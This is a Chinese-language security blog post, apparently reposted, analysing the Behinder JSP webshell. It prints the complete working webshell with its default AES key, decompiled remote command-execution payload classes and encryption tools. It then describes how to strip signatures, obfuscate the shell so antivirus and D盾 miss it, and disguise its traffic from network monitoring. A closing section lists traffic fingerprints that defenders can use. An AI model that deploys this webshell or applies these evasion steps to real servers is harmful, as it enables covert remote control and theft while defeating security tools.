Behinder免杀&流量隐蔽&流量分析

admin 2025年3月19日13:11:44评论2 views字数 23754阅读79分10秒阅读模式
Behinder免杀&流量隐蔽&流量分析
Tips +1

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析
篇幅过长,排版过乱,各位佬将就看

原始shell代码分析

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}    public Class g(byte []b)    {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";    session.putValue("u",k);Cipher c=Cipher.getInstance("AES");    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(            new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

Shell 代码解释

原始shell代码主要实现了一个简单的类加载器,并通过AES加密算法解密传入的字节码,然后加载并实例化这个类。以下是对代码的详细解释:

1. 导入必要的Java类

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>

这部分导入了Java中常用的工具类、加密相关的类(如CipherSecretKeySpec)等。

2. 定义自定义类加载器 U

<%!class U extends ClassLoader{    U(ClassLoader c){        super(c);    }    public Class g(byte []b){        return super.defineClass(b,0,b.length);    }}%>

这里定义了一个名为U的类,它继承自ClassLoaderU类的作用是通过defineClass方法将字节数组转换为Class对象。g方法接收一个字节数组b,并调用defineClass方法将其转换为Class对象。

3. 处理POST请求

<%if (request.getMethod().equals("POST")){    String k="e45e329feb5d925b";    session.putValue("u",k);    Cipher c=Cipher.getInstance("AES");    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(            new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

这部分代码处理HTTP POST请求,具体步骤如下:

获取密钥

String k="e45e329feb5d925b"; 这里定义了一个AES加密的密钥 k,并将其存储在会话(session)中。

初始化AES加密器

Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

这里使用AES算法初始化了一个Cipher对象,并将其设置为解密模式(2表示解密模式)。密钥通过SecretKeySpec类进行封装。

读取并解密数据

  1. new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())

从HTTP请求中读取一行Base64编码的数据,并将其解码为字节数组。

解密字节数组:

  1. c.doFinal(...)

使用AES解密器对Base64解码后的字节数组进行解密。

加载并实例化类:

  1. new U(this.getClass().getClassLoader()).g(c.doFinal(...)).newInstance()

使用自定义的类加载器U加载解密后的字节码,并实例化这个类。

调用equals方法

  1. .equals(pageContext);

最后,调用实例化对象的 equals 方法,并将 pageContext 作为参数传入。

流量分析

Behinder免杀&流量隐蔽&流量分析

客户端执行 whoami 命令后的加解密过程,如下图:

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析
    private byte[] Encrypt(byte[] data) throws Exception    {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try        {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        }        catch (Throwable error)        {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("n", "").replace("r", "");            encrypted=result.getBytes();        }        return encrypted;    }

通过抓包获取请求流量

Behinder免杀&流量隐蔽&流量分析

解密请求包,我们可以对加密后的payload进行解密获取aes+base64后的字节码

qd7VkkuiRJfRjcLSuWEEJqGxvVVhB+P84Yc3YAcd7uSjvFxnIKgw7b+M+3SPcBA5....
VALFaqRbzyNS+U4xfG10YdBoXqFdrlHDeBOP+Iyuwk8hnIype6p9YlxXEXD8KulLJjbD1yl8avBalyiOQF5q73mqX+bsDTjEc/GLo8evE697tpiV4ZJqi8Uc31hC5alJprm5P1oUdKGXIToMSTc3qHLHKhLttSsJfsZxhP9L8I1kPpZ4UVmNW4WV51zQJid9+hXZztynZV6uooh7+fnLiD6p7m8ITwNyJQ57OjAXdTrbGO8242a/HMUUDk4TuSh4BZTl/dxkHa5TbBVqauAZCa0GWUkhnGa5LTkjFlCNFXL4snKJhhT0vVCrD0JS0tR8hczdwPUym9iKZzNhOS5Vnil85FbCtmvtp193kIR2A/iZg1ghxy9q9zBqJvjBC2gekvCuBoLP8iPa6vhKNRHDMtgHnScmhS4j2QwkHmRCQsK4hr0WNav4NQBEOzYijIrq4qNiOZsHSUseF5oSh4ttrMXK0kluHmXmGzogiloOVeF17BW3qGzYhd4an2mcUzWBy874U=

2.服务端收到Payload密文后,利用解密函数进行解密

Behinder免杀&流量隐蔽&流量分析

这里自定义的类加载器 U 加载解密后的字节码

Behinder免杀&流量隐蔽&流量分析

将获取的字节码保存为class 文件,然后进行反编译后可以看到原始java的代码如下

package behinder;import webshell.Decoder;import java.io.FileOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Arrays;public class BehinderEncryptDecryptTools {    //default_aes    public static  byte[] Encrypt(byte[] data) throws Exception    {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try        {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        }        catch (Throwable error)        {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("n", "").replace("r", "");            encrypted=result.getBytes();        }        return encrypted;    }    public static byte[] Decrypt(byte[] data) throws Exception    {        String k="e45e329feb5d925b";        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));        byte[] decodebs;        Class baseCls ;        try{            baseCls=Class.forName("java.util.Base64");            Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);            decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});        }        catch (Throwable e)        {            baseCls = Class.forName("sun.misc.BASE64Decoder");            Object Decoder=baseCls.newInstance();            decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});        }        return c.doFinal(decodebs);    }    public static void main(String[] args) throws Exception {        //加密        byte[] cmd = "whoami".getBytes();        byte[] encrypt = Encrypt(cmd);        String cmds = new String(encrypt, "utf-8");      ....
KNRHDMtgHnScmhS4j2QwkHmRCQsK4hr0WNav4NQBEOzYijIrq4qNiOZsHSUseF5oSh4ttrMXK0kluHmXmGzogiloOVeF17BW3qGzYhd4an2mcUzWBy874U=".getBytes();        byte[] decrypt = Decrypt(str1);        String decryptedString = new String(decrypt, StandardCharsets.UTF_8); // 使用 UTF-8 编码        System.out.println(decryptedString);//        // 定义要保存的文件路径和名称//        String fileName = "DecryptedClass.class";////        try (FileOutputStream fos = new FileOutputStream(fileName)) {//            // 将字节码写入文件//            fos.write(decrypt);//            System.out.println("字节码已保存为文件: " + fileName);//        } catch (IOException e) {//            e.printStackTrace();//        }    }}
package behinder;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.nio.charset.Charset;import java.util.HashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class Vyrurajb {    public static String cmd;    public static String path;    public static String whatever;    private static String status = "success";    private Object Request;    private Object Response;    private Object Session;    public Vyrurajb() {        cmd = "";        cmd = cmd + "cd /Users/uuu/tools/apache-tomcat-9.0.98/bin/ ;whoami";        path = "";        path = path + "/Users/uuu/tools/apache-tomcat-9.0.98/bin/";        //super();    }    public boolean equals(Object obj) {        Map<String, String> result = new HashMap();        try {            this.fillContext(obj);            result.put("msg"this.RunCMD(cmd));            result.put("status", status);        } catch (Exception e) {            result.put("msg", e.getMessage());            result.put("status""fail");        } finally {            try {                Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                Method write = so.getClass().getMethod("write"byte[].class);                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));                so.getClass().getMethod("flush").invoke(so);                so.getClass().getMethod("close").invoke(so);            } catch (Exception var13) {            }        }        return true;    }    public static String RunCMD(String cmd) throws Exception {        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));        String result = "";        if (cmd != null && cmd.length() > 0) {            Process p;            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {                p = Runtime.getRuntime().exec(new String[]{"cmd.exe""/c", cmd});            } else {                p = Runtime.getRuntime().exec(new String[]{"/bin/sh""-c", cmd});            }            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));            for(String disr = br.readLine(); disr != null; disr = br.readLine()) {                result = result + disr + "n";            }            br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));            for(String var8 = br.readLine(); var8 != null; var8 = br.readLine()) {                result = result + var8 + "n";                System.out.println(result);            }        }        System.out.println(result);        return result;    }    private String base64encode(byte[] data) throws Exception {        String result = "";        String version = System.getProperty("java.version");        try {            this.getClass();            Class Base64 = Class.forName("java.util.Base64");            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);            result = (String)Encoder.getClass().getMethod("encodeToString"byte[].class).invoke(Encoder, data);        } catch (Throwable var7) {            this.getClass();            Class Base64 = Class.forName("sun.misc.BASE64Encoder");            Object Encoder = Base64.newInstance();            result = (String)Encoder.getClass().getMethod("encode"byte[].class).invoke(Encoder, data);            result = result.replace("n""").replace("r""");        }        return result;    }    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {        StringBuilder sb = new StringBuilder();        String version = System.getProperty("java.version");        sb.append("{");        for(String key : entity.keySet()) {            sb.append(""" + key + "":"");            String value = ((String)entity.get(key)).toString();            if (encode) {                if (version.compareTo("1.9") >= 0) {                    this.getClass();                    Class Base64 = Class.forName("java.util.Base64");                    Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                    value = (String)Encoder.getClass().getMethod("encodeToString"byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                } else {                    this.getClass();                    Class Base64 = Class.forName("sun.misc.BASE64Encoder");                    Object Encoder = Base64.newInstance();                    value = (String)Encoder.getClass().getMethod("encode"byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                    value = value.replace("n""").replace("r""");                }            }            sb.append(value);            sb.append("",");        }        if (sb.toString().endsWith(",")) {            sb.setLength(sb.length() - 1);        }        sb.append("}");        return sb.toString();    }    private void fillContext(Object obj) throws Exception {        if (obj.getClass().getName().indexOf("PageContext") >= 0) {            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);            this.Session = obj.getClass().getMethod("getSession").invoke(obj);        } else {            Map<String, Object> objMap = (Map)obj;            this.Session = objMap.get("session");            this.Response = objMap.get("response");            this.Request = objMap.get("request");        }        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");    }    private byte[] getMagic() throws Exception {        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();        int magicNum = Integer.parseInt(key.substring(02), 16) % 16;        Random random = new Random();        byte[] buf = new byte[magicNum];        for(int i = 0; i < buf.length; ++i) {            buf[i] = (byte)random.nextInt(256);        }        return buf;    }    private byte[] Encrypt(byte[] var1) throws Exception {        String var2 = "e45e329feb5d925b";        byte[] var3 = var2.getBytes("utf-8");        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");        var5.init(1, var4);        byte[] var6 = var5.doFinal(var1);        try {            Class var14 = Class.forName("java.util.Base64");            Object var8 = var14.getMethod("getEncoder", (Class[])null).invoke(var14, (Object[])null);            var6 = (byte[])var8.getClass().getMethod("encode"byte[].class).invoke(var8, var6);        } catch (Throwable var12) {            Class var7 = Class.forName("sun.misc.BASE64Encoder");            Object var10 = var7.newInstance();            String var11 = (String)var10.getClass().getMethod("encode"byte[].class).invoke(var10, var6);            var11 = var11.replace("n""").replace("r""");            var6 = var11.getBytes();        }        return var6;    }}

3.服务端执行解密后的Payload,并获取执行结果

Behinder免杀&流量隐蔽&流量分析

4.服务端对Payload执行结果进行加密,然后返回给本地客户端

Behinder免杀&流量隐蔽&流量分析

5.客户端收到响应密文后,利用解密函数解密,得到响应内容明文

    private byte[] Decrypt(byte[] data) throws Exception    {        String k="e45e329feb5d925b";        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));        byte[] decodebs;        Class baseCls ;                try{                    baseCls=Class.forName("java.util.Base64");                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});                }                catch (Throwable e)                {                    baseCls = Class.forName("sun.misc.BASE64Decoder");                    Object Decoder=baseCls.newInstance();                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});                }        return c.doFinal(decodebs);    }
MKBzySWBGC7sCwAHbMOe+fDUoTWQHdBrNMMXBnjM4jj5veNNtM8IFmR4KQtY7KQX

使用冰蝎内置对工具对响应包进行解密

Behinder免杀&流量隐蔽&流量分析

也可以把对应的加解密函数拿出来自行编写

Behinder免杀&流量隐蔽&流量分析

最后客户端获取明文结果

Behinder免杀&流量隐蔽&流量分析

Payload 代码解释

我们从冰蝎客户端中请求一个命令,都会发送一个加密后的payload,其payload就是加密后的字节码

Behinder免杀&流量隐蔽&流量分析

我们通过抓包获取payload,然后对其进行解密反编译后,获取明文的代码如下:

// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package sun.qeoswg.oehdcn;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.nio.charset.Charset;import java.util.HashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class Mcjgplnmu {    public static String cmd;    public static String path;    public static String whatever;    private static String status = "success";    private Object Request;    private Object Response;    private Object Session;    public Mcjgplnmu() {        cmd = "";        cmd = cmd + "cd /d "C:\Users\abc\IdeaProjects\apache-tomcat-8.5.68\bin\"&ipconfig";        path = "";        path = path + "C:/Users/abc/IdeaProjects/apache-tomcat-8.5.68/bin/";        super();    }    public boolean equals(Object obj) {        Map<String, String> result = new HashMap();        try {            this.fillContext(obj);            result.put("msg", this.RunCMD(cmd));            result.put("status", status);        } catch (Exception e) {            result.put("msg", e.getMessage());            result.put("status", "fail");        } finally {            try {                Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                Method write = so.getClass().getMethod("write", byte[].class);                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));                so.getClass().getMethod("flush").invoke(so);                so.getClass().getMethod("close").invoke(so);            } catch (Exception var13) {            }        }        return true;    }    private String RunCMD(String cmd) throws Exception {        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));        String result = "";        if (cmd != null && cmd.length() > 0) {            Process p;            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});            } else {                p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});            }            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));            for(String disr = br.readLine(); disr != null; disr = br.readLine()) {                result = result + disr + "n";            }            br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));            for(String var8 = br.readLine(); var8 != null; var8 = br.readLine()) {                result = result + var8 + "n";            }        }        return result;    }    private String base64encode(byte[] data) throws Exception {        String result = "";        String version = System.getProperty("java.version");        try {            this.getClass();            Class Base64 = Class.forName("java.util.Base64");            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);        } catch (Throwable var7) {            this.getClass();            Class Base64 = Class.forName("sun.misc.BASE64Encoder");            Object Encoder = Base64.newInstance();            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);            result = result.replace("n", "").replace("r", "");        }        return result;    }    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {        StringBuilder sb = new StringBuilder();        String version = System.getProperty("java.version");        sb.append("{");        for(String key : entity.keySet()) {            sb.append(""" + key + "":"");            String value = ((String)entity.get(key)).toString();            if (encode) {                if (version.compareTo("1.9") >= 0) {                    this.getClass();                    Class Base64 = Class.forName("java.util.Base64");                    Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                } else {                    this.getClass();                    Class Base64 = Class.forName("sun.misc.BASE64Encoder");                    Object Encoder = Base64.newInstance();                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                    value = value.replace("n", "").replace("r", "");                }            }            sb.append(value);            sb.append("",");        }        if (sb.toString().endsWith(",")) {            sb.setLength(sb.length() - 1);        }        sb.append("}");        return sb.toString();    }    private void fillContext(Object obj) throws Exception {        if (obj.getClass().getName().indexOf("PageContext") >= 0) {            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);            this.Session = obj.getClass().getMethod("getSession").invoke(obj);        } else {            Map<String, Object> objMap = (Map)obj;            this.Session = objMap.get("session");            this.Response = objMap.get("response");            this.Request = objMap.get("request");        }        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");    }    private byte[] getMagic() throws Exception {        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;        Random random = new Random();        byte[] buf = new byte[magicNum];        for(int i = 0; i < buf.length; ++i) {            buf[i] = (byte)random.nextInt(256);        }        return buf;    }    private byte[] Encrypt(byte[] var1) throws Exception {        String var2 = "e45e329feb5d925b";        byte[] var3 = var2.getBytes("utf-8");        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");        var5.init(1, var4);        byte[] var6 = var5.doFinal(var1);        try {            Class var14 = Class.forName("java.util.Base64");            Object var8 = var14.getMethod("getEncoder", (Class[])null).invoke(var14, (Object[])null);            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);        } catch (Throwable var12) {            Class var7 = Class.forName("sun.misc.BASE64Encoder");            Object var10 = var7.newInstance();            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);            var11 = var11.replace("n", "").replace("r", "");            var6 = var11.getBytes();        }        return var6;    }}

代码分析

该代码是一个用于远程命令执行的 WebShell,核心功能是通过反射和加密机制执行命令并将结果返回给客户端。主要功能包括命令执行、结果加密、与客户端通信。以下是分模块的功能分析:

1. 命令执行

核心方法:RunCMD(String cmd)
  • 功能
    :执行传入的操作系统命令并返回执行结果。
  • 实现方式
    • 根据操作系统类型,选择合适的命令执行方式:
      • Windows:cmd.exe /c <命令>
      • Unix/Linux:/bin/sh -c <命令>
    • 捕获命令执行的标准输出和错误输出,合并为结果字符串返回。

2. 客户端通信

核心方法:equals(Object obj)
  • 功能
    • 通过调用传入对象(PageContext 或其他上下文)获取请求、响应、会话对象。
    • 执行指定命令,并将结果以 JSON 格式封装后返回给客户端。
  • 实现流程
    1. 获取 RequestResponse 和 Session 对象。
    2. 调用 RunCMD 执行命令。
    3. 将命令结果和状态信息封装为 JSON 格式。
    4. 使用 Encrypt 方法对 JSON 数据进行加密。
    5. 通过 Response 输出加密后的数据返回客户端。

3. 数据加密

核心方法:Encrypt(byte[] data)
  • 功能
    :对数据进行 AES/ECB/PKCS5Padding 加密,保证传输过程中数据的安全性。
  • 实现方式
    • 使用固定的 16 字节密钥(e45e329feb5d925b)。
    • 加密模式为 AES,填充方式为 PKCS5Padding。
    • 最终将加密后的数据进行 Base64 编码。

辅助功能:base64encode(byte[] data)

  • 功能
    :对加密后的数据进行 Base64 编码,保证数据可在文本环境中传输。
  • 兼容性
    :兼容 JDK 8 及以上版本(使用 java.util.Base64)和更低版本(使用 sun.misc.BASE64Encoder)。

4. 动态上下文绑定

核心方法:fillContext(Object obj)
  • 功能
    :根据传入的对象类型,动态绑定 RequestResponse 和 Session
  • 实现方式
    • 如果对象类型包含 PageContext,通过反射获取相关上下文。
    • 如果对象是映射类型(Map),直接提取 requestresponse 和 session

5. 数据封装

核心方法:buildJson(Map<String, String> entity, boolean encode)
  • 功能
    :将传入的键值对映射封装为 JSON 格式的字符串。
  • 实现方式
    • 遍历映射,将每个键值对转换为 "key":"value" 格式。
    • 如果需要加密,将值进行 Base64 编码。
    • 拼接 JSON 格式字符串并返回。

6. 类的初始化

构造函数:Mcjgplnmu()
  • 功能
    • 初始化静态字段 cmd 和 path,设置默认的命令执行路径和命令内容。
    • 默认命令为:
cd /d "C:UsersabcIdeaProjectsapache-tomcat-8.5.68bin" & ipconfig
  • 用途
    :提供默认的命令和路径,方便后续命令执行。

7. 随机字节生成

核心方法:getMagic()
  • 功能
    • 从会话中获取一个字符串(Session 属性 u)。
    • 解析字符串前两位,将其转换为 16 进制数,确定随机字节数组的长度。
    • 生成随机字节数组。
  • 用途
    :提供随机性数据。

8.主要功能总结:

    1. 远程命令执行(RunCMD)。
    2. 加密数据返回(Encrypt 和 base64encode)。
    3. 动态上下文绑定(fillContext)。
    4. JSON 格式结果封装(buildJson)。

代码静态免杀

我们对原始的shell aes解码代码进行拆分注释,特征还是很明显,D盾直接查杀到的

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}    public Class g(byte []b)    {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";    session.putValue("u",k);Cipher c=Cipher.getInstance("AES");    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(            new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}    public Class g(byte []b)    {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){    String customKey="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/    session.putValue("u",customKey);    Cipher c=Cipher.getInstance("AES");//使用 Cipher.getInstance() 创建 Cipher 对象,指定算法、模式和填充方式    byte[] keyBytes = customKey.getBytes();//自定义密钥    SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "AES");//使用 SecretKeySpec 类将字节数组转换为密钥对象。    c.init(2,secretKey); //指定模式,2为加密模式    new U(this.getClass().getClassLoader()).g(            c.doFinal( //对数据进行解密,也就是base64解码后的aes字节码                    new sun.misc.BASE64Decoder().decodeBuffer( //将Base64编码的字符串解码为字节数组                            request.getReader().readLine()  //从HTTP请求的输入流中读取一行数据。也就是aes+base64后的字节码                    )))    .newInstance()    .equals(pageContext);}%>
Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析

   特征一、 删除 这个 Cipher c=Cipher.getInstance("AES"); 降为2级

Behinder免杀&流量隐蔽&流量分析

 特征二、删除 new sun.misc.BASE64Decoder().decodeBuffer( 直接绕过了

Behinder免杀&流量隐蔽&流量分析

特征三、重新扫描发现还有一个特征 new U(this.getClass().getClassLoader()).g(c.doFinal(bytes))

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析

这里我们使用反射+混淆的思路进行绕过(细节忽略)

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析

上传到https://www.virscan.org/ 进行检查还是有几个查杀到的

Behinder免杀&流量隐蔽&流量分析

使用十六进制编码,通过对关键特征进行混淆,成功绕过

Behinder免杀&流量隐蔽&流量分析

流量隐蔽处理

上面的免杀马虽然一定程度上绕过了大多安全设备的检查,但是冰蝎默认的几种加密算法早已不足以绕过流量设备的监测了.下面是某讯的某平台

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析

因为冰蝎支持自定义加解密算法,所以我们可以自己写一个加解密的方法

Behinder免杀&流量隐蔽&流量分析

流量特征

某设备匹配到的流量特征,特别是加密后的success

Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析
Behinder免杀&流量隐蔽&流量分析

Referer:http://ip/javavuln/A5DM1A/5ub.jsp, 后面为/随机目录/随机文件名.jsp

Behinder免杀&流量隐蔽&流量分析

Accept字段, Accept: application/json, text/javascript, */*; q=0.01

Behinder免杀&流量隐蔽&流量分析

Accept-Language头,几乎都是 zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Behinder免杀&流量隐蔽&流量分析

客户端支持只定义ua头,因此我感觉可忽略这个特征,当然也可辅助其他特征来分析

Behinder免杀&流量隐蔽&流量分析

 

原文始发于微信公众号(贝雷帽SEC):Behinder免杀&流量隐蔽&流量分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月19日13:11:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Behinder免杀&流量隐蔽&流量分析http://cn-sec.com/archives/3858639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息